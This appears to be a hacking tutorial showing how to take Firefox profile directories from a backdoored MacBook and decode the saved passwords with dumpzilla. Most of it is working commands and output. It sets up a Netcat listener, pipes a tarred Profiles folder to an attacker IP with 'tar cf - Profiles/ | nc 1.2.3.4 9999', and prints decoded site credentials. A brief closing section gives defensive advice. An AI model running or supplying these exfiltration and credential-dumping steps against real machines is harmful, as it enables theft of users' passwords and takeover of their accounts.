How to Dump Passwords Stored in Firefox Browsers Remotely

Passwords and data stored in web browsers are extremely valuable to hackers. If not for financial gain, black hat hackers may still leak your passwords and personal information for amusement. Never undervalue what you're worth to a hacker.

While I'm definitely no black hat, discovering fun ways to perform post-exploitation attacks from a MacBook backdoor has been an interesting experience. Thus far, I've been surprised to learn how easy it is to abuse tools built into macOS or install third-party software to further exploit a Mac computer.

Continuing this hacking macOS journey, this time, I'm going to show how hackers can easily exfiltrate sensitive Firefox directories and how to extract the passwords using dumpzilla, a comprehensive browser forensics tool. While black hats could benefit from this knowledge, white hats, pentesters, and other do-good hackers will as well. Plus, normal everyday Mac users will learn how ordinary practices such as storing passwords in browsers may put them at risk.

- **Don't Miss: How to Configure a Backdoor on Anyone's MacBook**

Readers should keep in mind, this attack was performed from a low-privileged backdoor (no admin access) against Firefox 60 on macOS 10.13 with the Firewall enabled and AVG antivirus installed.

Step 1 Install Dumpzilla Dependencies

To start, from the Kali system, install a few packages using **pip**. Pip is a package management system used to install and manage Python packages. These packages are required to run dumpzilla. The full command is **pip install logging lz4**.

```
pip install logging lz4

Collecting logging
  Downloading
https://files.pythonhosted.org/packages/93/4b/979db9e44be09f71e85c9c8cfc42f258adfb7d93ce01deed2
788b2948919/logging-0.4.9.6.tar.gz (96kB)
    100% |████████████████████████████████| 102kB 69kB/s
Building wheels for collected packages: logging
  Running setup.py bdist_wheel for logging ... done
```

```
  Stored in directory:
/root/.cache/pip/wheels/7d/2e/cb/a51fbdf351b2efebcf857f8b2c8d59b6ccd44ea2e9bb4005d6
Successfully built logging
Installing collected packages: logging
Successfully installed logging-0.4.9.6
```

There are more dependencies which I found were easier to install using APT. Enter **apt-get install python3 sqlite3 python-lz4 libnss3***.

```
apt-get install python3 sqlite3 python-lz4 libnss3*

Reading package lists... Done
Building dependency tree
Reading state information... Done
Suggested packages:
  sqlite3-doc
The following NEW packages will be installed:
  python-lz4 sqlite3
0 upgraded, 2 newly installed, 0 to remove and 274 not upgraded.
Need to get 879 kB of archives.
After this operation, 2,591 kB of additional disk space will be used.
Get:1 https://mirrors.dotsrc.org/kali kali-rolling/main amd64 python-lz4 amd64 0.10.1+dfsg1-0.2 [16.6 kB]
Get:2 https://mirrors.dotsrc.org/kali kali-rolling/main amd64 sqlite3 amd64 3.23.1-1 [863 kB]
Fetched 879 kB in 15s (60.0 kB/s)
Selecting previously unselected package python-lz4.
(Reading database ... 181720 files and directories currently installed.)
Preparing to unpack .../python-lz4_0.10.1+dfsg1-0.2_amd64.deb ...
Unpacking python-lz4 (0.10.1+dfsg1-0.2) ...
Selecting previously unselected package sqlite3.
Preparing to unpack .../sqlite3_3.23.1-1_amd64.deb ...
Unpacking sqlite3 (3.23.1-1) ...
Setting up python-lz4 (0.10.1+dfsg1-0.2) ...
Setting up sqlite3 (3.23.1-1) ...
Processing triggers for man-db (2.8.3-2) ...
```

Step 2 Download Dumpzilla

With the required packages installed, it's safe to download dumpzilla.

Now, at the time of this writing, there's a bug in the latest version of dumpzilla which results in a failure to automatically decode the passwords saved in Firefox. Fortunately, GitHub keeps a history of every version that users can access at any time.

In future releases of dumpzilla, it should be possible to simply clone the repository and continue following along with this article. For now, readers should download this version

of dumpzilla using the below **wget** command. This version was tested and decodes passwords stored in Firefox as expected.

- **Don't Miss: Steal & Decrypt Chrome & Firefox Passwords in Windows 10**

wget 'https://github.com/Busindre/dumpzilla/archive/b3075d1960874ce82ea76a5be9f58602afb61c39.zip'

Step 3 Extract Dumpzilla

Wget will create a new b3075d1960874ce82ea76a5be9f58602afb61c39.zip file. The compressed dumpzilla files within it can be extracted using the **unzip b3075d1960874ce82ea76a5be9f58602afb61c39.zip** command.

unzip b3075d1960874ce82ea76a5be9f58602afb61c39.zip

```
Archive:  b3075d1960874ce82ea76a5be9f58602afb61c39.zip
b3075d1960874ce82ea76a5be9f58602afb61c39
   creating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/
   creating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/addinfo.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/addons.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/bookmarks.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/cert_override.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/cookies.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/downloads_dir.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/downloads_history.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/exceptions.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/extensions.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/forms.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/history.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/offlinecache.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/passwords.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/permissions.json
  inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/session.json
```

```
 inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ES_templates_dumpzilla/thumbnails.json
 inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/README.md
 inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/dumpzilla
 inflating: dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/dumpzilla.py
```

After extracting dumpzilla, change into the newly created "dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/" directory using the **cd** command.

```
cd dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/
```

Step 4 Elevate the File Permissions

Then, use the **chmod** command to make sure the dumpzilla.py file has permission to execute in Kali.

```
chmod +x dumpzilla.py
```

Step 5 Start the Netcat Listener

With dumpzilla all setup, start a Netcat listener to receive the Firefox directories being sent from the backdoored MacBook.

```
nc -l -p 9999 | tar x
```

This command will instruct Netcat to listen (**-l**) on port (**-p**) **9999** and pipe (**|**) the incoming data into the tar command. Tar is a command-line archiving utility available in both Kali and macOS. The **x** proceeding the **tar** command tells tar to automatically *extract* and save the data (the compressed directories) coming from the Netcat pipe. Directories are compressed during the Netcat transmission to make it easier for Netcat to process the data.

That's it for downloading dumpzilla and configuring Netcat to receive the Firefox data. Next, I'll show how to exfiltrate entire Firefox directories from the backdoored MacBook.

Step 6 Exfiltrate Directories from the Backdoored MacBook

Some readers may be aware of Firefox's ability to manage multiple profiles. The profiles are usually utilized by computer-savvy users with a need to isolate their work, school, and personal browser history, bookmarks, and cookies.

Generally, most Firefox users will have one "default" profile. On macOS, profiles are located in the below directory.

```
/Users/<USERNAME-HERE>/Library/Application Support/Firefox/Profiles/
```

Notice the <*USERNAME-HERE*> portion of the directory path. Every user on the MacBook has their own Profiles/ directory. And by default, a user doesn't have read access (file permissions) to view the profiles belonging to other users.

For example, if Bob's MacBook is compromised using a fake PDF while he's logged into his account, the attacker will not be able to see other Firefox profiles on the MacBook that don't belong to Bob. At least not without performing privilege escalation — which is beyond the scope of this article.

- **Don't Miss: How to Create a Fake PDF Trojan for macOS with AppleScript**

On the other hand, if the target MacBook was physically backdoored, the attacker will likely have full root (administrator) access to all of the accounts and Firefox profiles.

Proceeding with the intent to only dump the Firefox profile for one individual account, remotely connect to the backdoored MacBook for these next few commands.

Change into the desired Profiles/ directory using **cd**.

```
cd '/Users/<USERNAME-HERE>/Library/Application Support/Firefox/'
```

Then, use the below **tar** command to compress (**cf**) the Profiles/ directory (and all of its contents) and direct (**|**) the data into the Netcat (**nc**) command. The attacker's system and IP address are represented as **1.2.3.4**, so be sure to change the IP address to the VPS or local IP address being used by the attacker.

```
tar cf - Profiles/ | nc 1.2.3.4 9999
```

While Netcat is transferring the directory, the terminals will have appeared to be frozen or stalled. It took about two minutes to complete the transfer when exfiltrating a Firefox profile with only 12 hours of data stored in it. I imagine a Firefox profile with months of browser history, months of browser cookies and hundreds of bookmarks could take a significate amount of time. Be patient here. If any of the data in the directories is corrupted while being exfiltrated to the Kali system, passwords saved in the Firefox profiles may not be decodable.

Step 7 Decode the Passwords

Back on the Kali machine, there will be a new Profiles/ directory. In it, there will be at least one directory following the naming scheme **xxxxxxxx.default/**. By default, Firefox automatically generates eight random characters (**xxxxxxxx**) and prepends them to the profile name. For example, users with multiple profiles may have directories called "w9wuahzu.work/," "ei49j03w.personal/," and "r3h84t9t.default." Each directory can be individually processed using dumpzilla.

To extract passwords found in a particular Firefox profile, use the **python3 dumpzilla.py Profiles/xxxxxxxx.default/ --Passwords** command.

```
python3 dumpzilla.py Profiles/xxxxxxxx.default/ --Passwords

========================================================================
========================================
== Decode Passwords
========================================================================
========================================
=> Source file: /tmp/dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/9kwbffy3.default/logins.json
=> SHA256 hash: 9df5b2c418bbb967e63b556162e6d11ed509a9a5c67580f3c79e089d954ade91

Web: https://www.facebook.com
Username: kevin.poulsen@gmail.com
Password: DarkDante23

Web: https://accounts.google.com
Username: kevin.poulsen
Password: Porsche944

Web: https://www.reddit.com
Username: hackerone@gmail.com
Password: DarkDante23

Web: https://www.amazon.com
Username: kevin.poulsen@gmail.com
Password: DarkDante944

Web: https://login.live.com
Username: kpoulsen@live.com
Password: DarkDante123

Web: https://www.netflix.com
Username: hackerone@gmail.com
Password: Porsche944

Web: https://login.aliexpress.com
Username: Poulsen
```

Password: Jordan626

```
================================================================================
========================================
== Total Information
================================================================================
========================================

Total Decode Passwords     : 7
Total Passwords            : 7
```

How to Protect Against Web Browser Attacks

Don't let this article deter you from using Firefox or mislead you to believe Google Chrome is any more secure. Google Chrome is just as vulnerable to the actions outlined in this article. Instead of looking to web browsers for protection, consider making some minor behavioral changes to make such attacks difficult for hackers.

- **Use Private Browser mode**. Dumpzilla can do a lot more than just extract passwords from Firefox. It's safer to use private browser mode 100% of the time. Though it may be inconvenient and make browsing the internet painful, it's actually quite dangerous to entrust so much data to web browsers. Browser data dumps containing dozens of email addresses and passwords are shared freely in black hat hacking communities. If hackers aren't selling your data, they're wreaking havoc on your accounts for amusement because it has no financial worth to them.
- **Use a Master password.** If saving passwords in Firefox is a convenience you're not willing to give up, use a strong master password. This will provide a moderate obstacle for hackers and may prevent them from learning all of your passwords.
- **Use a proper password manager**. Password managers offer improved protection of stored passwords. Hackers can still exfiltrate and perform brute force attacks against the password manager's database but with a strong and unique password, attackers will have to spend weeks (or months) trying to crack the encrypted database.